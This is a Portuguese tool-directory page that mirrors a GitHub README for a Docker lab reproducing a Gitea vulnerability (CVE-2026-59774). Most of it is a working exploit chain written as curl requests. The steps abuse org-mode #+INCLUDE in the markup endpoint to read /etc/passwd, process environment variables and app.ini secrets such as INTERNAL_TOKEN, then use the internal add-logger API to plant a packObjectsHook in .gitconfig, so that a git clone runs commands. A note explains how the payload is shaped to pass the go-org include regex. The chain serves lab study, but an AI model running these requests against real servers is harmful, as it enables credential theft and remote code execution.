Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-59774_docker — CVE-2026-59774 | Kitploit
Ferramentas/GitHubGitHub/flowerwitch/cve-2026-59774_docker
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebLabs e Prática
GitHubflowerwitch/cve-2026-59774_docker

CVE-2026-59774_docker

CVE-2026-59774

Ver Repositório
11há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-59774_docker

1. Baixar o gitea

git clone https://github.com/FlowerWitch/CVE-2026-59774_docker

cd ./CVE-2026-59774_docker

docker compose up -d

2.Inicialização

Acesse o gitea

http://localhost:3000/install

3.Criar repositório

new repository é público por padrão, sem necessidade de outras configurações

image

4.POC

curl -X POST "http://localhost:3000/{username}/{repo}/markup" \                       
  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'
image

5. Parte RCE

  1. Primeiro, lendo o campo GITEA_CUSTOM em /proc/self/environ, obtém-se o local onde os dados do gitea estão armazenados
curl -sX POST "http://localhost:3000/admin/poc/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep 'GITEA_CUSTOM='
image
  1. Ler {GITEA_CUSTOM}/conf/app.ini para obter os campos INTERNAL_TOKEN e APP_DATA_PATH
curl -sX POST "http://localhost:3000/{username}/{repo_name}/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH' 
image
  1. Aqui encontrei a interface add-logger; quando o Mode dessa interface é File, ela realiza escrita por acréscimo em um arquivo local (criando o diretório correspondente caso o destino não exista). Além disso, quando seu campo logger é router, a execução dispara uma entrada de log, cujo efeito de saída é bem melhor que o default (porque não quebra linha XD). Por meio da escrita arbitrária do primeiro, adiciona-se ao .gitconfig do gitea o campo packObjectsHook para, por meio de um clone anônimo, disparar a execução de comandos.
curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "Logger": "router",
    "Writer": "pwnhook",
    "Mode": "file",
    "Config":{                                                             
      "filename": "{APP_DATA_PATH}/home/.gitconfig",
      "flags": "none",                                                          
      "prefix": "[uploadpack]\n        packObjectsHook = id > /tmp/pwned ;#", 
      "level": "Info",
      "rotate": false
    }
  }'
image
  1. Feche o manipulador de log para evitar que requisições subsequentes contaminem configurações posteriores; use o logger e o writer acima
curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  1. git clone dispara execução de comandos
image

Exemplo

gg1

Nota

Na função parseInclude do go-org 1.9.1, há uma regra de filtragem por regex includeFileRegexp; somente correspondências a ela podem prosseguir para as funções subsequentes.

func (d *Document) parseInclude(k Keyword) (int, Node) {
	resolve := func() Node {
		d.Log.Printf("Bad include %#v", k)
		return k
	}
	if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil {  # <--这里施加了 includeFileRegexp 过滤
		path, kind, lang := m[1], m[2], m[3]
		if !filepath.IsAbs(path) {
			path = filepath.Join(filepath.Dir(d.Path), path)
		}

includeFileRegexp corresponde às seguintes condições

var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)

Assim, o payload "#+INCLUDE: \"/etc/passwd\"\n" não pode ser correspondido normalmente; a construção deve estar em conformidade com a expressão, como:

"#+INCLUDE: \"/etc/passwd\" src 123\n"
Baixar ferramenta